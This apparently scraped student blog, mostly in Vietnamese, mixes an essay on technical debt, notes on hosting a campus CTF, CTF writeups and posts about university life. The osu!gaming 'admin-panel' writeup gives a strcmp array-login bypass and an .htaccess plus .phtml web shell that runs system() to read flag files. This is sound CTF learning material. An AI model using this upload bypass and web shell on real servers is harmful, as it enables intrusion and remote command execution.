CallMeQan

Technical Debt là gì? Cái cho sự vội vã và thời đại AI

Wed, 01 Apr 2026 00:00:00 GMT

Thử tưởng tượng một cuộc sống tuyệt vời, bạn là người chăm chỉ, có gia đình hạnh phúc, làm công ăn lương đều đặn mỗi ngày, không cờ bạc gái gú 🐧 nhưng lòi đâu ra một khoảng nợ khổng lồ mang tên Technical debt. Nhưng mà chúng ta có vay mượn ai đâu mà dính nợ vậy?

Muốn biết món nợ này từ đâu thì xin bạn hãy đọc bài viết rất nhạt ở dưới đây =)))

Technical Debt - Con nợ mang tên kỹ thuật

Đọc cái tên nghe sơ qua bạn tưởng nó khá là lâu đời rồi đúng không? Thật ra nó chỉ vừa được đặt tên vào những năm cuối thế kỷ 20, ông Ward Cunningham đã đưa ra một câu thoại rằng:

"Shipping first time code is like going into debt. A little debt speeds development so long as it is paid back promptly with a rewrite... The danger occurs when the debt is not repaid. Every minute spent on not-quite-right code counts as interest on that debt. Entire engineering organizations can be brought to a stand-still under the debt load of an unconsolidated implementation, object-oriented or otherwise."

Bạn có thể hiểu nôm na như thế này. Lần đầu bạn commit code lên main là bạn bắt đầu vay nợ của bản thân mình ở tương lai. Technical debt ban đầu rất ít, nhưng theo quá trình code thì càng ngày nó càng nhiều lên, trở thành nợ nần chồng chất. Một số ví dụ:

Thay vì viết class như OOP để có class cha và class con thừa hưởng từ cha thì bạn lại copy-paste code khắp nơi
Vì comment tùm lum, có nơi không cần viết thì lại viết nhiều vãi, những chỗ khác thì magic number và đặt tên biến theo chữ cái
Cầm lõi lối đi riêng nhưng đi vào lòng đất (bad practice code) 🐧
Vân vân muôn ngàn lý do

Nhưng technical debt là thứ không thể tránh khỏi, thay vì do bạn tạo ra thì bạn lại nhận nó từ người khác? Đồng nghiệp cũ cay công ty quá nên không viết comment hoặc không bàn giao document lại cho bạn? Điều quan trọng là mình mượn xong phải trả (hộ)

Các kiểu technical debt

Mặc dù có rất nhiều loại và định nghĩa nợ kỹ thuật khác nhau nhưng cuối cùng chúng có thể được chia thành các loại sau đây:

Nợ kiến trúc (Architecture Debt), không phải ARC đâu🐧: Đây là kiểu "xây nhà từ móng phế", hệ thống vừa cứng nhắc vừa thiếu linh hoạt. Để mấy con Monolith (nguyên khối) cũ kỹ với đống thành phần dính chùm vào nhau thì xác định là mỗi lần update là một lần "trầm cảm", tương lai bảo trì chỉ có nước khóc thét.
Nợ mã nguồn (Code Debt): Hệ quả của việc chạy deadline bất chấp, code "bẩn", đặt tên biến kiểu abc, xyz hay copy-paste logic vô tội vạ. Mấy bạn thích đi tắt, lười viết doc thì cứ đợi đấy, lúc debug sẽ thấy cảnh "nghiệp quật" – tốn cả thanh xuân chỉ để tìm xem mình đã viết cái gì.
Nợ hạ tầng & DevOps: Khi quy trình deploy vẫn còn "thời đồ đá", CI/CD thì lỏ, khiến việc automation hay scale up trở nên vô vọng. Không có plan tử tế thì lúc tích hợp API hay update dependency chỉ có nước "đứng hình mất 5s", tiền cloud thì tăng mà hiệu quả thì âm vô cực.
Nợ quy trình (Process Debt): Cái này do teamwork "như người dưng ngược lối", workflow mập mờ, doc thì trắng trơn. Mấy team sính ngoại bảo Agile với Scrum mà làm không tới nơi tới chốn thì backlog chất cao như núi, feature thì delay, nhìn đống tồn đọng chỉ muốn "chối bỏ sự thật".
Nợ bảo mật (Security Debt): Đây là quả bom nổ chậm nè! Cứ thích "skip" mã hóa, xác thực hay lười vá lỗi thì sớm muộn cũng bị hacker ghé thăm. Thiếu test bảo mật tự động thì team vừa áp lực, vừa nơm nớp lo sợ hệ thống "bay màu" bất cứ lúc nào.

Hậu quả của việc nợ

Thực ra cũng giống như quẹt thẻ tín dụng vậy đó, nó tích lãi theo thời gian. Càng "lờ" nó đi, cái giá phải trả để fix sau này càng chát. Tuy việc chấp nhận nợ giúp chúng ta build product nhanh thần tốc, nhưng nếu không biết quản lý rủi ro thì sớm muộn gì chi phí bảo trì cũng tăng vọt, anh em dev thì "burnout" trong khi cơ hội kinh doanh thì bay màu trong nốt nhạc 💸.

"Tiền mất tật mang" vì phí vận hành

Cái hậu quả thấy rõ nhất chính là ví tiền của doanh nghiệp mỏng đi. Thay vì dùng chất xám để tạo ra feature mới xịn sò, các kỹ sư phải tốn cả thanh xuân chỉ để fix bug và đập đi xây lại. Làm việc trên một đống codebase toàn "nợ là nợ" thì hở tí là bug, khiến một thay đổi nhỏ xíu cũng ngốn cả đống tài nguyên. Cứ đà này, công ty chỉ có nước đổ hết tiền vào bảo trì hoặc chấp nhận "delay" tính năng – cả hai đều là con đường dẫn đến việc đốt tiền cực mạnh.

Hạ tầng "lỏ" và những chi phí ẩn

Chi phí hạ tầng cũng tỉ lệ thuận với độ cũ kỹ của hệ thống. Kiến trúc lỗi thời, quy trình DevOps "bất ổn" hay mấy cái framework thư viện từ thời Tống sẽ khiến việc duy trì hệ thống trở nên cực kỳ tốn kém. Doanh nghiệp sẽ thấy mình phải chi bộn tiền cho cloud, tài nguyên điện toán hay phí bản quyền chỉ để giữ cho cái hệ thống đầy lỗi và lỗi thời này không bị sập giữa chừng.

Mất đi đổi mới và "red flag" uy tín

Trong cuộc đua thị trường, nợ kỹ thuật quá cảnh báo sẽ khiến team đổi mới chậm như sên, chẳng thể phản ứng kịp với yêu cầu của khách hàng. Update thì chậm, bug thì tái diễn, performance thì "tụt mood" - đây chính là combo khiến khách hàng bái bai và làm thương hiệu công ty mất đi uy tín. Đặc biệt với các ngành cần độ bảo mật cao, việc để hổng lỗ hổng security chính là tự mời gọi các án phạt pháp lý và rắc rối về quy định ⚠️.

Làm sao trả nợ ???

Dừng việc code (phát triển) đi và tập trung trả nợ

Đôi lúc ta cũng có thể bỏ qua technical debt, ví dụ như khi làm prototype để demo cho khách hàng. Vì prototype xong rồi vứt luôn nên ta có thể xù nợ 🐧. Tuy nhiên nên cẩn thận, có rất nhiều trường hợp khách hàng đòi mở rộng/nâng cấp prototype thành sản phẩm để tiết kiệm thời gian. Lúc này ta phải trả nợ chết cmn luôn.

References

Lần đầu làm sự kiện CTF cho trường Part 1

Sun, 02 Nov 2025 00:00:00 GMT

Thật sự này sẽ là thứ tiếp diễn sau sự kiện mình lên chức chủ tịch CLB VGU Cypher của nhiệm kỳ 2025-2026, với kế hoạch từ hồi hè thì mình có trọng trách là thực hiện nó và các nguyện vọng ban đầu của các anh founder!

Đợt CTF kỳ này đầu năm tên là VGU CTF Beginner 2025: Waldschrein - The Lost Capture The Flag. Mình đảm nhận vai trò là server administrator và anh Khavid sẽ là người gom thu các challenges cho sự kiện và là bot first blood chạy bằng cơm :troll:

Tính ra mình cũng vận dụng được tí kiến thức docker của mình để quản lý mấy challenge về web và pwn là chủ yếu.

Deploy trang web chính bằng CTFd

Trước khi lên production thì mình có tìm hiểu qua thử bên trang web document CTFd thì thấy nó không khó lắm, nhưng cho đến khi vào làm thì mệt mỏi vcl!

Tìm tên miền

Cái này thì mình đi mượn lại các anh tiên bối cũ tên miền vgucypher.id.vn mua trên trang tenten.vn nên cũng nhanh, nhờ anh Phú transfer tên miền sang email mình là xong!

Nhưng mà đến tuần diễn ra sự kiện thì trang tenten nó sập lên sập xuống làm mình không custom được subdomain cho mấy challenges 🤬

Tìm kiếm cloud server

Việc tìm kiếm server thì mình hướng đến 3 sự lựa chọn:

Xin sponsor từ Google Cloud
Mua dịch vụ của Hetzner siêu rẻ của Đức
Xài trick 100$ Oracle miễn phí của anh Benasin :))

Ở cái option 1 thì mình thấy rằng giải của mình nó phải public kiểu liên trường thì thg google mới sponsor, chứ để trong trường thì ai cho?

Còn option 3 thì trick đó khá tốn tiền (tận 100$ 💀) nhưng mà vẫn back lại sau đó, nhìn khá là tốn tiền và không liêm chính cho lắm

Vì thế mình đến với option 2 là mua cloud server của Hetzner với cấu hình là 4 vCPU, 16 GB RAM và 100 GB SSD với băng thông tận 10TB chỉ với 10$ cho 14 ngày. Một phần lý do là mình cũng có phần tài trợ của VSA tận 500k nên không lo lắm, chủ yếu kiếm lời dựa trên phần này?

Mua server khá là nhanh?

Thật lúc đầu mình tạo acc trên trang Hetzner khá tốn thời gian, bởi vì để tạo và xài server thì bên đức hay EU khá strict việc thẻ hay tài khoản ngân hàng mình phải có liên kết với Visa hay Mastercard, mình thì có VCB Visa everlink nên chả sao, bằng cách nào đó Paypal nó không cho mình kích hoạt cái Paypal bằng sđt 💀

Sau đó mình vào trang console.hetzer.com để đăng nhập lại và tạo project:

Sau khi tạo project thì chúng ta sẽ có nhiều tab khác nhau như là Server (Tạo và quản lý server), Volumes (Mua thêm dung lượng ảo), Floating IPs (này mình ko biết :L), Firewall (setup firewall nhưng trong ctf thì không cần lắm), Load Balancing (mình cũng không dùng luôn), DNS (dns stuff), ...

Trong phần Server thì mình tạo server nó với cấu hình là 4 vCPU, 16 GB RAM:

Nhưng vấn đề là làm sao để biết mình cần server to cỡ bao nhiều ư?

Tình huống (50–60 players)	Số web	Pwn connectable	Crypto connectable	Recommend (single server)
Nhẹ — no bots, chỉ web static + pwn cơ bản	4–6	4–6	0–2	2 vCPU, 8 GB RAM
Thường — nhiều web dynamic, 1 bot/flag cho vài challenge	4–6	4–6	0–2	4 vCPU, 8–16 GB RAM
Nặng — nhiều bot 24/7, nhiều pwn có fork/spawn processes	6+	6+	2+	4+ vCPU, 16+ GB RAM (hoặc tách thành 2 server)

Kỳ CTF này mình chỉ có 5 bài pwn cơ bản, 4 bài web với 2 bài crypto thôi mà mình thuê tận 16GB RAM thấy phí vcl!

Hetzner có nhiều loại plan; hourly/monthly và giá thay đổi theo dòng máy (CX/CCX/CCX23...). Một số gói shared vCPU 4 vCPU / 16 GB có giá hourly ~0.04 €/hr (mốc tham khảo, sẽ thay đổi theo region và thời điểm). Đợt này mình mua lúc nó còn $0.004 / hr nên tổng phí cho CTF này của mình chỉ có $9.88 cho 14 ngày

:::tip Mấy kỳ CTF beginner thì mua 2-4 vCPU với 8GB RAM là quá đủ r :::

Giải thích số liệu (vì sao thế)

CPU: pwn connectable + scoring + CTFd + nginx reverse proxy đều cần CPU; 2 vCPU đủ cho load nhẹ, nhưng khi players kết nối đồng loạt và nhiều container hoạt động thì 4 vCPU mang lại headroom.
RAM: phần lớn web challenge nhẹ (10–30 MB/container). Bot “admin” để act on player input thường tốn ~100 MB mỗi instance — nếu bạn có nhiều challenge động active cùng lúc thì RAM tăng nhanh. 8 GB ram đủ cho cấu hình cân bằng; 16 GB nếu bạn muốn tránh swap khi nhiều bot hoạt động đồng thời.
Tách dịch vụ: nếu thấy server “toang” lúc peak, tách scoring/CTFd + database lên một instance riêng (nhẹ, 2 vCPU/4GB) và để challenge containers trên instance khác để phân tán I/O/CPU.

Connect đến server

Mình mua xong thì bên Hetzner sẽ gửi cho mình password của root, cứ thế mình cứ connect thông qua SSH thôi, ở đây mình dùng Termius cho nó dễ vì nó tích hợp luôn chức năng upload / download file từ server về

Tải Docker và host CTFd

Ta cứ theo docs của Docker Official mà chơi thôi. Mạng mẽo lúc buổi tối tệ quá nên mình tốn tận 1 tiếng để tải docker lên server

Sau đó mình cứ làm theo hướng dẫn của CTFd mà deploy lên được thôi

DNS và Cert

Phần này mình thật sự không biết miêu tả sao nhưng mình dùng CertBot phiên bản pip để generate thôi, chứ không có gì nhiều.

Nhờ có certbot mà website mình có SSL certificate để hô biến http:// thành https:// cho nó uy tín!

Ngoài ra CTF của mình có challenge tên là Witch's Broadcast của RSA stuff, lúc này mình về lại trang tenten.vn để thêm A Record mới là witch.vgucypher.id.vn

Trong diễn ra event thì trang tenten thì nó gặp sự cố khiến việc thay đổi DNS không được, vì lý do đó nên toàn bộ chall của wave 2 & 3 của mình nó không có custom name được như math.vgucypher.id.vn hay hsr.vgucypher.id.vn

Deploy các challenges?

Phần này cũng khá dễ thôi vì mình dùng Docker và thêm tí compose, chỉ có mấy chall như web, pwn là mình cần config. Đưa ra ví dụ bài Hackershop, nó rất là hiển nhiên vì mình không cần đưa source ra mà player chỉnh giá tiền xuống âm là có được flag, deploy server của mình sẽ là:

FROM python:3.9-slim

WORKDIR /app
COPY requirements.txt .

RUN pip install --no-cache-dir -r requirements.txt

COPY . .

ENV FLASK_APP=app.py
EXPOSE 5000

CMD ["flask", "run", "--host=0.0.0.0"]

Nhưng mà để tiện hơn thì mình tạo thêm file docker-compose.yml vì khi bạn chạy lệnh docker compose up -d là nó vừa tự động build + chạy image luôn. Thêm flag -d là detacted tách ra chạy background tốn chỉ 10-30mb ram thôi.

version: '3.8'
services:
  flask-app:
    build: .
    ports:
      - "3001:5000"
    environment:
      FLASK_ENV: development

Khi mà bạn làm mấy chall deployable đó thì nhớ làm một cái sheet để lưu coi chall nào đã được blind vào port nào để mình còn biết là port này của chall đó.

Mình có deploy một cái chall pwn là math nhưng nó cho output bị weird nên khi bên Hetzner quét thì nó cảnh báo mình port này bị lỗi nên cẩn thận, mình cũng chả quan tâm nên cho qua thôi :))

osu!gaming CTF 2025 Writeups

Mon, 27 Oct 2025 00:00:00 GMT

So recently I participate in osu!gaming CTF 2025 with my IT Security Club on university, me as president have to force everyone get on this special CTF (yes, we train whole year just for this CTF). But one of our strongest member Khavid move on with #MogamiShizuka team!

So, this CTF is big and crazy stuff happened, even I'm a 6 years osu! player still didn't know some of trivial stuff of osu!

Crypto

Rot727

It just another custom Rot13 encryption system, so I pull out my old code from CTF 2024 (I forgot its name)

def rot_cipher_concise(txt, shift):
    """Encrypts/decrypts text using a ROT cipher with any shift."""
    res = []
    effective_shift = shift % 26
    for char in txt:
        if 'A' <= char <= 'Z':
            new_ord = (ord(char) - ord('A') + effective_shift) % 26 + ord('A')
            res.append(chr(new_ord))
        elif 'a' <= char <= 'z':
            new_ord = (ord(char) - ord('a') + effective_shift) % 26 + ord('a')
            res.append(chr(new_ord))
        else:
            res.append(char)

    return "".join(res)

i = 1
while True:
    tmp = rot_cipher_concise("aeg{at_imuf_nussqd_zgynqd_paqezf_yqmz_yadq_eqogdq}", shift=i)
    print(tmp)
    if "osu" in tmp:
        break
    i = i + 1

Got osu{oh_wait_bigger_number_doesnt_mean_more_secure} at 13

linear-feedback

This actually just ChatGPT stuff

pls-nominate

Very basic implementation of Hastad's Broadcast Attack

osu{pr3tty_pl3453_w1th_4_ch3rry_0n_t0p!?}

Web

admin-panel

First look at this challenges, I thought it is Path Traversal stuff because the /flag.txt is outside from /var/www/html

But when I tried on login, I noticed that the password for user peppy is random so no way you can guess it!

<?php
    session_start();
    $admin_password = bin2hex(random_bytes(16));

    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        $username = $_POST["username"];
        $password = $_POST["password"];

        if ($username == "peppy" && strcmp($admin_password, $password) == 0) {
            $_SESSION["logged_in"] = true;
            header("Location: admin.php");
            exit();
        }
    }

    header("Location: index.php");
?>

But WAIT,

There's a vulnerability at strcmp($admin_password, $password) == 0. Based on the manual page PHP's strcmp. This is case sensitive and binary safe string compare function, but the way it acted is extremely unpredictable (based on comment at bottom of page)!

Which I can set the password to array based on this blog talking about vulnerability of strcmp

POST /login.php HTTP/2
Host: admin-panel-72179d733c64.instancer.sekai.team
Content-Length: 27
Cache-Control: max-age=0
Origin: https://admin-panel-72179d733c64.instancer.sekai.team
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://admin-panel-72179d733c64.instancer.sekai.team/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

username=peppy&password[]=

Break the first wall!

Move on to next file admin.php, we see that we can send a file to server but cannot have php in filename or file content. This is extremely bad practice because user can send file .phtml to the server!

<?php
  session_start();
  if (!isset($_SESSION["logged_in"])) {
    header("Location: index.php");
    exit();
  }

  if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (isset($_FILES["file"])) {
      $file = $_FILES["file"];
      $filename = $file["name"];
      $contents = file_get_contents($file["tmp_name"]);

      if (stripos($filename, ".php") !== false) {
        echo "<h1>file is not allowed</h1>";
      }
      else if (stripos($contents, "<?php") !== false) {
        echo "<h1>file has unsafe contents</h1>";
      }
      else {
        move_uploaded_file($file["tmp_name"], "./uploads/" . $filename);
        header("Location: /uploads/" . $filename);
      }
      die();
    }
  }
?>

Here we create 2 files, .htaccess and phtml, .htaccess will force .phtml to be parsed as PHP file. While the file .phtml we use the shorthand php notation <?= to bypass <?php!

# file .htaccess
echo 'AddHandler application/x-httpd-php .phtml' > .htaccess

# file shell2.phtml
echo '<?=system("cat /flag || cat /flag.txt || cat /root/flag || cat /home/ctf/flag");?>' > shell2.phtml

Upload 2 files to server then access /uploads/shell2.phtml to get the flag!

osu{php_is_too_3asy}

Rhythm / Pulsus

I think this is a web challenge, not rhythm stuff bruh?

I was simply turn on my burp suite, access to Pulsus and find the Quintecc account because the challenge description told so?

While I found Quintec#452 account, it take a while to figure it out it was in Websocket.

osu{pl4y_pul5u5_e6234bd516f}

Phần 4 - Hành trình học tập trong năm 1

Wed, 03 Sep 2025 00:00:00 GMT

Bài này chỉ nói về các môn học và đánh giá nó!

Lớp tiếng đức chết tiệt

Welp, lúc đầu mới vào thì mình khá là tự tin, cầm cuốn vở ra note liên tục buổi học đầu tiên. Đến buổi thứ 2 cũng có tâm trạng tuyệt vời đó. Xong thi German 1 xong thì được lmao 8đ.

Sang đến German 2 thì ôn thêm speaking, bằng cách nào đó mình lại bị mất động lực và tụt dốc không phanh xuống còn 6.4đ, mặc dù đã rất cố gắng phần speaking nhưng mà quá tệ.

Đến German 3 thì không có thi speaking nhưng mà mình vẫn bị học lửng lửng, suýt thì rớt German 3 với điểm 5.1đ

Về đến hè thì ta có lớp German 4, học online 5 buổi một tuần nên rush nhanh vcl. Mới đấy đã 1 tháng trôi qua và sắp phải thi German 4 đầu tháng 9.

Học thầy Beck là auto chấp nửa môn

Các môn Academic English

Presentation Skill

Môn hay nhưng ông thầy chấm điểm như c. Kiểu trong lúc dạy ổng nói rất là hào hùng, xong đến gần thi thì ổng bảo mấy đứa sắp tới có form đánh giá thì hãy đánh giá thầy cao nha, thầy dạy các em để sau này các em biết mình cần phải làm gì cho thuyết trình. Thế mà ổng vẫn chấm điểm cả lớp thấp vcl. Mọe thg cao nhất lớp có 8.8đ

Writing

Welp, ngồi viết luận, report về một chủ đề nào đó solo 1000 từ. Yêu cầu là theo format APA và citie đầy đủ các nguồn, không được đạo nhái hay đạo văn.

Gặp được ông Michael dễ thương chấm điểm dễ vãi nên ai cũng 9+.

Note-taking

Ông thầy môn này hay... chửi mọi người. Ổng nói chuyện hài vcl, chính trị cũng nói. Bị cái là vô lớp bị cấm mở lap hay điện thoại nên ai cũng lmao.

Cái hài là bên FY nó cho quả đề ? vcl, dễ đến mức mà lúc thi phải có người lên tiếng, xong vô moodle nhập đáp án thì cho quả đề khó hiểu vcl.

Leadership

Dạy chỉ toàn lý thuyết, lên thuyết trình liên tục ảo vcl. Xong bài cuối khóa là bài luận đi phỏng vấn thầy phó hiệu trưởng :))))

English for Engineering

Chả có gì cả, ngồi học tiếng anh ielts 2.0

Intro to Programming

Thầy dạy hay, vui vẻ, dạy chủ yếu là python với data somehow.

Trong năm này thì hài ở chỗ group 1 có thầy Huy siêu chill dạy tâm huyết, trong khi group 2 thì bóc trúng thầy Minh mà dạy bị lmao nên nhiều đứa bên group 2 qua group 1 học.

Thế mà lúc thi thầy Huy cho đề khó vcl, còn thầy Minh cho đề dễ, xong 2 ông swap đề cho nhau gây náo loạn cả ngành :)))).

Explore CS

Thầy Tuấn Anh dạy C++ và thuật toán tìm kiếm và chỉ có nhiêu đó. Dạy vẫn có tâm huyết nhưng khô khan

Multi-disciplinary Project

Làm project IoT, dùng Arduino với dữ liệu phải live, nhưng đây là project với cái backstory to đùng nhất. Hận ông Tuấn Anh vcl

Business Administration

WTF, BBA trái hình, may là năm nay đổi người dạy nên ít ai rớt.

Applied Math for CS

Welp, môn này mình vừa có nhiều kỉ niệm vui và một cái sốc nhất năm 1 mình. Sẽ kể sau

Information Technology

Tiếp tục là môn project, nhưng thầy Bảo này vui vãi, dạy đến từng học sinh chỉ dẫn. Yêu cầu của project này là ứng dụng AI vào project, có thể là web hoặc mobile, thích thì làm luôn IoT.

Phần 3 - Đến với KTX VGU

Tue, 26 Aug 2025 00:00:00 GMT

Sau một thời cấp 3 đầy sóng gió và buổi trại hè UIT Bootcamp 2024 thì mình đã tới lúc vào đại học. Xác nhận thông tin trên bộ sau đó đi soạn đồ để lên Ký Túc Xá (KTX)

Đăng ký KTX

Bên KTX mở đơn đăng ký phòng từ 27/7 đến 4/8. Nhìn vào hình ảnh của google form thì thấy khá là được, đên khi nhận phòng thì đúng thật nó giống vậy, chỉ là dơ hơn thôi :))))

Cái hài ở chỗ là mình điền thông tin kèm là ưu tiên phòng hướng về Nam, Bắc hoặc Đông và kiểu phòng:

Thế mà lúc nhận phòng thì bên KTX cho cái phòng dell có máy lạnh với hướng Tây. Lúc đó mẹ mình đi chung cay quá trời :)))))

Hôm 16/08 thì mình nhận được email thông tin phòng mình sắp tới là 550 Tầng 5, KTX 1 (Cam) với bạn cùng phòng sắp tới là Nguyễn Thanh Huy. Cùng với mail đó là link điền thông tin xác nhận và chọn ngày chuyển vào là 28/8, ngoài ra trong cái google form còn 2 ngày welcome new intake24 là 7/9 và 8/9.

Ryan Nguyễn và Minhkeke

Hồi đó trước khi nhập học thì trường mình có group facebook, trong đó có chat cộng đồng, mà hồi đó sôi nổi lắm, trước khi nhập học mà mỗi ngày 300-400 tin nhắn, chủ yếu là làm quen với chơi game.

Đặc biệt là có Bộ trưởng Bộ Ngoại Giao năm 1 Ryan Nguyễn

Thg này nó ngày nào cũng đi spam tin nhắn, nhắn tin đủ thứ xong qua ngành khác cũng chat chit, rồi làm quen thêm bộ trưởng ngoại giao khác Đạt. Xong hai đứa về chung phòng KTX luôn :))))))))

Xong lòi ra thêm ông Minhkeke chuyên đi phân biệt vùng miền nên 2 ông thân ngoại giao của năm nhất CSE này mà cả mấy anh chị năm 2, 3 biết hết.

Đến lúc gần nhận phòng là lòi ra group CSE Đa thế hệ (đặt là vậy thôi chứ toàn năm 1)

Nhận phòng

Ngày 28/8 mình đi rất sớm từ 5h30 cùng với ba mình và một đống đồ. Mặc dù lên đi rất sớm nhưng vô đó làm quy trình rất lâu và dài, ngồi ký 4 cái tờ giấy và chờ chìa khóa phòng.

Ba mình thấy lâu quá nên cho mình ở lại và đi làm trước, mình thì ở lại lấy phòng và ở chơi đến chiều tối.

Lúc đó điền giấy xong thì mình được dẫn lên phòng 550, mở phòng kiểm tra tình trạng phòng rồi kí tên xác nhận bàn giao chìa khóa phòng. Nằm ngồi loay hoay chút thì xong, chán quá nhắn tin lên group hỏi có ai đang ở trường không. Thế thì có anh trai Ngọc Minh (béo), phòng ngay dưới đít luôn gặp nhau lần đầu tiên.

Thư viện và bida

Lúc đó mình với Minh đi vòng vòng quanh trường từ ktx cam đến căn tin rồi qua thư viện. Thư viện mà nó to với đẹp vãi!

Bị cái là ít sách, toàn sách cổ không, nhưng là có bộ sách The Art of Computer Programming tuyệt vời của ông Donald Knuth nên bù lại cũng được (hình như ít ai đọc). Ngoài ra thì tầng 3 có nguyên khu thesis của các anh chị năm trước đi ra nên lấy nó ra đọc cũng vui

Ngoài ra mình được nghe nói là phía sau lưng trường có quán bida, tra bản đồ thì có "Câu lạc bộ Bida Giang Đen". Cho đến khi mình với thg Minh đi ra sau trường và kiếm nó, lẽ ra là đell phải, quán đó là quán cũ vcl, hợp nhất với "Cafe bất động sản Mai Giang rồi"

Đcm đi bộ dài vcl, đi một vòng xuống Giang đen xong ngược lên N1 để đến Mai Giang. Lúc đến thì trời chiều rồi nên mình với Minh đi về lại ktx, trên đường về thì gặp thg Phúc, cũng làm quen trước qua group mes kia, xong rồi nói chuyện một hồi mới biết 3 thg sẽ học chung lớp tiếng đức, ảo vcl.

Why2025 CTF - Lazy Code 1 and 2 Writeups

Mon, 11 Aug 2025 00:00:00 GMT

Lazy Code 1.0

This chall give us a lazy-code-1.exe file, so I straight up open dotPeek from Jetbrains to see it inside. Turn out there is nothing here and dotPeek unable to decompile this.

So I open the Ghidra to see inside, right at main:

int __cdecl main(int _Argc,char **_Argv,char **_Env)
{
  uint local_c;
  __main();
  for (local_c = 1; (int)local_c < 0x3e9; local_c = local_c + 1) {
    printf("[+] Decrypting step %d/1000....\n",(ulonglong)local_c);
    xor_string(0x140003000,
               (byte)*(undefined4 *)
                      (&xors + (longlong)
                               (int)(local_c +
                                    (int)((ulonglong)(longlong)(int)local_c / 0x1b) * -0x1b) * 4) );
    printf("[!] Yawn.... I\'m tired... sleeping for %d seconds\n",(ulonglong)sleeping_time);
    sleep(sleeping_time);
  }
  printf("Pfff... I\'m done, here is your flag: %s\n",&DAT_140003000);
  return 0;
}

Analyzing this we find it slow down by sleep(sleeping_time).

So the direction here is to skip the function sleep!

I did some Google search and came by a tool name x64dgb. This tool supports Windows debugging and disassembling! I put the file into this, scrolled entire page alot until I found the code:

At first I didn't know anything and don't know how to read this so I assume that call lazy-code-1.7FF7A46F2700 is printf and I was right.

Then the function right after printf("[!] Yawn...") must the sleep function!

And so I edit the instruction of that with nop:

Oh, remember to set a breakpoint at almost the end of main function, right before ret! Then run!

flag{c960f55554871feedd7c33a20fb73919}

Lazy Code 2.0

:::tip The second version is easier than the first one if you are more familiar with Linux Reversing than Windows Reversing. :::

Just put the lazy-code-2 in Linux or WSL like me, then run gdb ./lazy-code-2.

Add a breakpoint at main by break main.

Type run and it will stop at entry of main

To disassembles the main function, run disass, press Enter till you found the sleep function:

Here we found this address 0x000055555555526b is calling sleep function. So we set this to NOP to skip these:

(gdb) set {unsigned char} 0x55555555526b = 0x90

Then type continue and you get the flag!

flag{b3fda416daebdef7a5d79deb07c43375}

Phần 2 - Trại hè UIT Bootcamp 2024

Tue, 05 Aug 2025 00:00:00 GMT

Có nhiều thứ để nói nhưng mà phải từ từ đã.

Có email sinh viên rồi làm gì nữa?

Tue, 05 Aug 2025 00:00:00 GMT

Với việc bạn đã bước vào năm nhất đại học, đặc biệt là các bạn ngành IT nói chung, gói Github Student Developer Pack sẽ hỗ trợ các bạn rất mạnh trong 4 năm sắp tới. Mình thời điểm viết bài blog này đã qua năm nhất đại học và mình sẽ giới thiệu cho các bạn về gói này và cách sử dụng hiệu quả nhất!

Thông tin chung

Gói Github Student Developer Pack được lần đầu giới thiệu vào tháng 8 năm 2014, theo như copilot trả lời.

Trong nhiều năm nay, Github đã liên tục cập nhật thêm nhiều nhà tài trợ mới, nhiều công cụ và tài liệu mới và hay cho các bạn sinh viên. Nổi bật nhất kể đến là JetBrains, Namecheap (đăng ký tên miền) hay mới nhất là truy cập vào Github Copilot hoàn toàn miễn phí với các model mạnh như GPT-4.1, Gemini 2.5 Pro, Claude 3.5-Pro.

Để đăng ký thành công gói này thì bạn cần:

Hình chụp thẻ sinh viên (lưu ý là thẻ học sinh có thể không được)
Cập nhật profile Github thông qua Github Settings, bao gồm: Tên thật, Ngày-tháng-năm sinh, Ảnh profile (không được để ảnh mặc định?)

Sau đó chờ khoảng 1-2 tuần là có kết quả, mình từng bị từ chối 3 lần liên tục do thông tin không trùng khớp.

Review các ưu đãi bên trong

Developer Tools (vdu như IDE, Application, Platform,...)

Mấy cái hay ho như:

Free Github Pro, cái này rất lời nha, cho Pro tận 4 năm nên tận dụng nó thật kĩ vào.

:::caution Lưu ý, đây chỉ là Github Pro for Personal thôi nha, nếu bạn có một team mà tạo organization thì nó không có bản Team hay Enterpise đâu. :::

Tất cả sản phẩm của JetBrains, bạn sẽ phải dùng nó khi học đến mấy môn như code app android, ios hay IoT. Dùng sản phẩm của công ty này rất nghiện nha, nó automate hết mọi thứ, setup project hoàn chỉnh mà không cần phải lo đến vấn đề bất đồng phiên bản hay debug không được.
Github Page, free 1 trang, có thể host từ repo của bạn hoặc của organization. Như trang web blog này của mình

::github{repo="CallMeQan/CallMeQan.github.io"}

GitLens, cái này mình chưa dùng bao giờ nhưng được mọi người khen nó rất nhiều.
Termius, SSH Client, điều khiển máy ảo, máy chủ hoặc chiếc laptop từ xa (nếu bạn giàu).
Travis CI, DevOps tool.

Còn nhiều nữa mà toàn mấy công cụ lạ mình chưa dùng tới.

Cloud

Có 3 thg dùng nhiều nhất là Heroku, Microsoft Azure với DigitOcean.

Mình mới dùng Heroku thôi, Azure thì bằng cách thần kì nào đó nó bảo vùng VN mình không hợp lệ nên mình đăng ký quài không được.

Design

Có Bootstrap Studio nhìn có vẻ hay nhưng mình chưa thử, phần còn lại thì không biết vì mình không phải dân frontend hay designer.

Bên ngoài Github Student Developer Pack thì mình có Figma For Education nhưng mà quy trình đăng ký nhanh với gọn hơn.

Domain (Quan trọng nè)

Mình được tặng 3 dịch vụ gồm Namecheap, Name.com và .Tech

Mỗi cái được tặng 1 năm dùng nên dùng từng cái thôi, tất nhiên là tụi nó không cho mình tên miền .com, .net với .org vì đó là tên miền cao cấp.

Infrastructure & APIs and IoT

Internet of Things:

Arduino Cloud 6 tháng và giảm giá các sản phẩm IoT.
AdaFruit IO+ 1 năm và giảm giá các sản phẩm IoT.

Infrastructure & APIs:

MongoDB, $50 in MongoDB Atlas Credits, MongoDB Compass and MongoDB University including free certification valued at $150.
Stripe, API giống như PayPal vậy đó, nhưng mình được dùng miễn phí.
CryptoLens, đóng gói sản phẩm và đăng ký bản quyền + đem bán nó hợp pháp????

Và còn nữa...

Learning

